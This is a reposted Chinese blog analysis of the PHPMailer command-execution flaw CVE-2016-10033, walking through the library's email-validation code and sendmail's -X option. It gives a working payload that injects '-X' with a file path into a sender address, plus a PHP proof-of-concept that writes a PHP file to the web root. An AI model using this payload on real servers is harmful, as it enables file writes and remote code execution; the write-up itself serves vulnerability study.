PHPMailer 命令执行漏洞(CVE-2016-10033)分析

转载 2017年01月01日 23:35:22

PHPMailer是一个基于PHP语言的邮件发送组件,被广泛运用于诸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用户量巨大的应用与框架中。

CVE-2016-10033是PHPMailer中存在的高危安全漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。

对比一下新老版本: https://github.com/PHPMailer/PHPMailer/compare/v5.2.17...master


其实答案呼之欲出了——和Roundcube的RCE类似,mail函数的第五个参数,传命令参数的地方没有进行转义。

回顾一下当时Roundcube的漏洞:因为mail函数最终是调用的系统的sendmail进行邮件发送,而sendmail支持-X参数,通过这个参数可以将日志写入指定文件。可以写文件,当然就可以写shell,造成RCE了。
详细分析一下,下载一份源码,并切换到5.2.17版本:

git clone https://github.com/PHPMailer/PHPMailer
cd PHPMailer
git checkout -b CVE-2016-10033 v5.2.17

单步调试可以发现确实和之前Roundcube出现的漏洞( http://wiki.ioin.in/search?word=roundcube )一样,是传给mail函数的第五个参数没有正确过滤:


但上图是错的,因为这里是不支持bash的一些语法的,也就是说反引号、${IFS}都是无效的。但实际上PHPMailer在调用mailPassthru前会对email进行一定的检测,这导致我们无法构造出像Roundcube那些可以直接写文件的payload,检测部分的代码如下:

 

  /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

其他的地方我就不分析了,只分析上面这个函数,这个函数有这个特点

默认patternselect==‘auto’,它会自动选择一个方式对email进行检测
如果php支持正则PCRE(也就是包含preg_replace函数),就用正则的方式来检查,就是那一大串很难读懂的正则
如果php不支持PCRE,且PHP版本大于PHP5.2.0,就是用PHP自带的filter来检查email
如果php不支持PCRE,且PHP版本低于PHP5.2.0,就直接检查email中是否包含@
所以,根据现在的分析(注意,不是最终分析),如果想绕过这个email的检查,目标PHP环境必须有以下两个条件:

PHP版本小于5.2.0
PHP不支持正则表达式,即没有安装PCRE扩展(默认是安装的)
那么如果目标PHP环境不满足上述条件,是不是就绝对不会出现漏洞了呢?当然答案也是否定的,我提两种可能的情况。

一、开发者手工指定Email检查方法

PHPMailer是支持让开发者手工指定Email的检测方法的:


如果开发者编写了上述画框的代码,那么这里就是存在漏洞的,因为其只检查Email中是否包含@。

二、开发者指定PHPMailer::$validator = 'noregex'

我们看到validateAddress函数:

public static function validateAddress($address, $patternselect = null)
{
   if (is_null($patternselect)) {
       $patternselect = self::$validator;
   }

$patternselect默认是根据self::$validator来确定的,如果开发者指定了PHPMailer::$validator = 'noregex',也就可以绕过validateAddress函数了。

分析一下Email正则

那么,这真的是一个鸡肋漏洞么?年轻人,多思考一下。

如果想把漏洞变成一个可用的好漏洞,需要去绕过Email的正则,我们来分析一下:

preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);

中间的分析过程我后面慢慢写,多研究一下你会发现,在@前面,如果加上括号,将可以引入空格,我的payload如下:

aaa( -X/home/www/success.php )@qq.com

测试代码:

<?php
require 'PHPMailer/PHPMailerAutoload.php';

function send($from) {
    $mail = new PHPMailer;

    $mail->setFrom($from);
    $mail->addAddress('joe@example.net', 'Joe User');     // Add a recipient

    $mail->isHTML(true);                                  // Set email format to HTML

    $mail->Subject = '<?php phpinfo(); ?>';
    $mail->Body    = 'This is the HTML message body <b>in bold!</b>';
    $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

    if(!$mail->send()) {
        echo 'Message could not be sent.';
        echo 'Mailer Error: ' . $mail->ErrorInfo;
    } else {
        echo 'Message has been sent' . "\n";
    }

    unset($mail);
}

$address = "aaa( -X/home/www/test.php )@qq.com";

send($address);

执行:


成功写入success.php。

利用这个payload,是无需PHP满足什么条件的,通用写文件Payload。

参考链接:

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
http://pwnscriptum.com/
https://www.exploit-db.com/exploits/40968/
https://github.com/opsxcq/exploit-CVE-2016-10033

PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)

据说其全球范围内的用户量大约有900万——每天还在持续增多。
  • Anprou
  • Anprou
  • 2016-12-27 11:15:59
  • 684

PHPMailer任意文件读取漏洞分析(CVE-2017-5223)

*本文原创作者:Yxlink,本文属FreeBuf原创奖励计划,未经许可禁止转载 PHPMailer是堪称全球最流行邮件发送类,其全球范围内的用户量大约有900万,被诸多开源项目所采用,包括Word...
  • qq_27446553
  • qq_27446553
  • 2017-01-13 05:07:02
  • 593

命令执行漏洞和修复方案

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正...
  • pygain
  • pygain
  • 2016-10-22 16:03:39
  • 3770

OS命令执行漏洞

代码执行漏洞指的是可以执行PHP脚本代码,而命令执行漏洞指的是可以执行系统命令或应用指令(如cmd命令或bash命令)的漏洞 php命令执行漏洞主要是一些函数的参数过滤不严格所导致,可以执行OS命令的...
  • Liuhuaijin
  • Liuhuaijin
  • 2017-08-16 21:29:34
  • 431

PHP代码执行漏洞总结

PHP安全爱好者的盛宴the Month of PHP Security 。拜读php-security上的很多牛文,发出来共享下啦,都是偶像哇。 From:http://hi.baidu....
  • kuangmang
  • kuangmang
  • 2014-05-27 08:50:06
  • 3413

PHP如何防止黑客利用注入漏洞执行危险的命令

1、清理输入 在将用户输入的字符串作为命令的一部分提交给系统执行前,为了防止被黑客利用,所以,需要将输入的命令字符串处理一下。 例如有下列代码: $document = $_POST['userurl...
  • mole
  • mole
  • 2015-01-04 21:53:54
  • 996

Web安全 -- CVE-2016-10033漏洞

引言CVE-2016-10033漏洞背景独立研究人员Dawid Golunski发现该漏洞—远程攻击者利用该漏洞,可实现远程任意代码在web服务器上执行,并使web应用陷入威胁中。攻击者主要在常见的w...
  • redBu1l
  • redBu1l
  • 2017-12-10 11:25:10
  • 206

class.phpmailer.php(email这个类)

  • wplblog
  • wplblog
  • 2016-07-29 20:00:56
  • 1739

phpmailer发邮件常见的一些问题总结及使用案例

PHPMailer邮件类使用错误分析 一,没有定义发送邮箱$mail->From或格式不正确,错误提示:Language string failed to load: recipients_fail...
  • haiqiao_2010
  • haiqiao_2010
  • 2013-01-30 17:56:08
  • 45278

php 命令执行系列

2012-06-27 15:44:11 摘要:PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。本文描述...
  • p656456564545
  • p656456564545
  • 2015-08-11 10:18:32
  • 2290
收藏助手
不良信息举报
您举报文章:PHPMailer 命令执行漏洞(CVE-2016-10033)分析
举报原因:
原因补充:

(最多只允许输入30个字)